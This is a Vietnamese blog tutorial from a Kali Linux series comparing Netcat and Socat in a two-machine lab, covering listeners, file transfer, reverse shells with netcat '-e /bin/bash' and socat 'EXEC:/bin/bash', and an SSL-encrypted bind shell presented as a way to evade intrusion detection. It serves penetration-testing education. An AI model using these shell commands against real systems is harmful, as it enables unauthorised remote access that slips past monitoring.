Giải ngố Kali Linux – Phần 10: Nâng cấp các chiêu thức của Netcat với Socat

Tiếp theo nội dung Phần 9: Bước chân vào con đường Penetration Testing với “mèo mạng” Netcat, kỳ này tôi sẽ giới thiệu tiếp một “phiên bản nâng cấp” của NetcatSocat.

Tôi gọi “phiên bản nâng cấp” cho dễ hình dung chứ 2 thằng này thực chất cũng chẳng có quan hệ máu mủ mịa gì. Socat (hay Socket CAT) là command-line utility, cũng hỗ trợ nhiều thứ cho penetration testing giống như Netcat. Ngoài ra, con Socat này được buff nhiều chiêu đẳng cấp hơn nhờ hỗ trợ nhiều loại channel (files, pipes, devices, sockets,…) hay multiple connections.

Tuy nhiên, trong kỳ này, mục tiêu của tôi không phải để giới thiệu các tính năng cao cấp của Socat mà là tập trung so sánh công cụ này với Netcat trong một số tác vụ cơ bản đã giới thiệu ở kỳ trước. Việc này nhằm tạo nền tảng cho các nhu cầu nâng cao về sau để bạn không phải “ngỡ cmn ngàng” khi lâm vào thế bắt buộc phải dùng Socat. Do vậy, để tiện theo dõi, tôi sẽ nhắc lại các command tương ứng của Netcat khi trình bày các nội dung với Socat (đoạn nào không rõ thì bạn chịu khó tua lại kỳ trước để xem cho kỹ).

Cũng giống kỳ trước, tôi cũng cần dàn cảnh để phục vụ quá trình demo. Do việc cài đặt Socat lên Windows hơi rườm rà nên tôi sẽ dùng luôn 2 con Kali Linux với địa chỉ IP như sau cho nhanh gọn (tất nhiên bạn cũng sẽ cần ping kiểm tra kết nối các kiểu sau khi thiết lập):

  • Kali Linux #1:192.168.188.130 (con Kali #1 tôi sẽ dùng testkali user);
  • Kali Linux #2:192.168.188.132 (con Kali #2 tôi sẽ chuyển sang root user cho tiện theo dõi).

#1 Kết nối đến remote host

#1.1 Khởi tạo listener trên port của remote host – Kali Linux #2

Với Netcat bạn có thể dùng command:

nc -nlvp 443

Với Socat, bạn có thể dùng command:

socat -d -d TCP4-LISTEN:443 STDOUT

socat listener
socat listener

Ở đây bạn sẽ thấy xuất hiện thêm mớ thông tin sau:

  • Protocol cho listener ở ví dụ trên là TCP-LISTEN;
  • STDOUT là standard output;
  • Để bind listener đến các port dưới 1024 sẽ cần đến quyền root (hoặc chạy sudo);
  • option “-d -d” để tăng thêm độ chi tiết của các thông báo và lỗi (nếu có);
  • Phần thông báo trong ô đỏ xuất hiện khi bạn tạo kết nối đến.

# 1.2 Kết nối đến remote host từ Kali Linux #1

Với Netcat bạn có thể dùng command:

nc -nv 192.168.188.132 443

Với Socat, bạn có thể dùng command:

socat -d -d - TCP4:192.168.188.132:443

socat connect
socat connect

Trong cú pháp của Socat, bạn sẽ thấy xuất hiện thêm các thứ:

  • Dấu “-” xác định việc truyền dữ liệu giữa STDIO và remote host;
  • Xác định rõ protocol sử dụng, với ví dụ trên là TCP4;
  • Sử dụng dấu “:” để ngăn cách protcol, option, port;

#2 Truyền tải file

Trong ví dụ này, tôi sẽ truyền một file tối mật có tên là secret.txt từ con Kali Linux #1 đến con Kali Linux #2 nói ở phần đầu.

Bên phía gửi hàng – Kali Linux #1, với Netcat bạn có thể dùng command:

nc -nv 192.168.188.132 443  <  secret.txt

(lưu ý, với Netcat bạn phải chạy Listener bên phía nhận –  Kali Linux #2 trước)

Với Socat, bạn có thể dùng command:

socat TCP-LISTEN:443,fork file:secret.txt

socat send file
socat send file

Lưu ý:

  • Ở đây bạn sẽ thấy xuất hiện một đối tượng mới là fork với chức năng tạo một child process (tạm dịch là tiến trình con) một khi có kết nối đến listener. Việc này sẽ cho phép bạn chạy multiple connections khi cần;
  • file:” sẽ chỉ định file được lưu trên máy Kali Linux #1

Bên phía máy nhận Kali Linux #2, để nhận hàng với Netcat bạn có thể dùng command:

nc -nlvp 443 > received_secret.txt

Với Socat, bạn có thể dùng command:

socat TCP4:192.168.188.130:443 file:received_secret.txt,create

socat receive file
socat receive file

Lưu ý:

  • Địa chỉ ip ở trên là của bên gửi (tương ứng con Kali Linux #1);
  • Chỗ này bạn sẽ thấy có xuất hiện thêm “create” để chỉ định tạo file mới;

#3 Reverse Shells và Encrypted Bind Shells với Socat

#3.1 Reverse Shells

Trên máy Kali Linux #2, với Netcat bạn có thể dùng command:

nc -nlvp 443

Với Socat, bạn có thể dùng command:

socat -d -d TCP4-LISTEN:443 STDOUT

socat reverse shell receive
socat reverse shell receive

Như bạn thấy, sau khi kết nối thành công, tôi có thể đọc thư mục bên phía Kali Linux #1.

Trên máy Kali Linux #1, với Netcat bạn có thể dùng command:

nc -nv 192.168.188.132 443 -e /bin/bash

Với Socat, bạn có thể dùng command:

socat TCP4:192.168.188.132:443 EXEC:/bin/bash

socat reverse shell send
socat reverse shell send

Với Socat option EXEC sẽ tương ứng với -e của Netcat nhằm chạy chương trình khi có kết nối đến.

#3.2 Encrypted Bind Shells

Để mã hóa Bind Shell với Socat, bạn có thể sử dụng SSL/TLS. Việc mã hóa này sẽ giúp né đạn của Intrusion Detection System – IDS cũng như ẩn đi các dữ liệu nhạy cảm. Để minh họa triển khai cụ thể, tôi sẽ dùng ứng dụng openssl để tạo self-signed certificate (tức là tôi tự tạo tự ký Certificate, không cần CA giống như với HTTPS) với command sau trên Kali Linux #1:

openssl req -newkey rsa:2048 -nodes -keyout b-shell.key -x509 -days 69 -out b-shell.crt

Trong cái đám rừng ở trên thì:

  • req: khởi tạo certificate signing request mới
  • -newkey: tạo private key mới
  • rsa:2048: sử dụng asymmetric encryption RSA độ dài key 2,048-bit (tôi có đề cập RSA ở …)
  • -nodes: lưu private key không có passphrase protection
  • -keyout: lưu key ra file
  • -x509: xuất self-signed certificate thay vì certificate request
  • -days: thiết lập hạn sử dụng theo ngày
  • -out: lưu certificate ra file

Lưu ý:

Command trên sẽ tạo cái private key b-shell.key và certificate b-shell.crt dùng cho việc mã hóa Bind Shell. Quá trình khởi tạo nó sẽ hỏi thêm một số thông tin, bạn có thể điền đại khái như sau (tôi có giải thích kỹ hơn trong nội dung Hướng dẫn tạo VPN Server miễn phí từ A đến Z – Phần 4: Tạo Private Key và ký Certificate cho VPN Server, VPN Client và cấu hình OpenVPN Server).

openssl generate key cert
openssl generate key cert

Sau khi hàng họ (b-shell.keyb-shell.crt) đã sẵn sàng, việc tiếp theo bạn cần làm là kết hợp 2 file này thành 1 file pem để có thể tạo Socat listener mã hóa. Bạn triển việc này với command sau:

cat b-shell.key b-shell.crt > b-shell.pem

combine key cert files
combine key cert files

Kế tiếp là bước tạo listener với command:

sudo socat OPENSSL-LISTEN:443,cert=b-shell.pem,verify=0,fork EXEC:/bin/bash

socat encrypted bind shell listener
socat encrypted bind shell listener

Trong commmand trên có một số điểm cần lưu ý:

  • option OPENSSL-LISTEN:443 để tạo listener trên port 443;
  • cert=b-shell.pem sẽ chỉ định certificate tương ứng là b-shell.pem;
  • verify=0 sẽ tắt SSL verification;

Coi như đã xong việc bố trí, lúc này bạn có thể kiểm tra trên máy Kali Linux #2 bằng cách chạy command:

socat - OPENSSL:192.168.188.130:443,verify=0

Tương tự như trước đó, tôi kiểm tra lại với “ls -l” để xác nhận đang truy cập máy Kali Linux #1.

socat encrypted bind shell connect
socat encrypted bind shell connect

Thật ra ở đây tôi chưa đề cập đến một thứ đó là mã hóa với Netcat. Tuy nhiên kỳ này tôi đang tập trung vào nhân vật chính Socat nên xin khất lại sau (có thể tôi sẽ cập nhật lại nội dung cho phần Netcat trong kỳ trước).

Chốt hạ:

Với phần lớn nội dung ở trên, bạn sẽ thấy thằng Socat cứ thích “phức tạp hóa vấn đề” khi đẻ ra cả đống thông số lằng nhằng. Tuy nhiên, việc này là để tăng độ linh hoạt nhằm hỗ trợ cho các nhu cầu nâng cao như tôi nói ở đầu bài. Và để chốt lại vấn đề, tôi xin trích lại “lời vàng ý ngọc” mà tôi đọc được của một đại hiệp trên mạng để bạn tham khảo: “Nếu nhu cầu của bạn chỉ cần Netcat thì cứ dùng Netcat. Nếu Netcat không làm được thì hãy mò sang thử với Socat. Gượng ép dùng giải pháp phức tạp (như Socat) để xử lý việc đơn giản (mà Netcat có thể giải quyết) sẽ không thể hiện được điều gì ngoại trừ việc cho thấy não của bạn có vấn đề ?!”.

1 thought on “Giải ngố Kali Linux – Phần 10: Nâng cấp các chiêu thức của Netcat với Socat”

Leave a Reply

Your email address will not be published. Required fields are marked *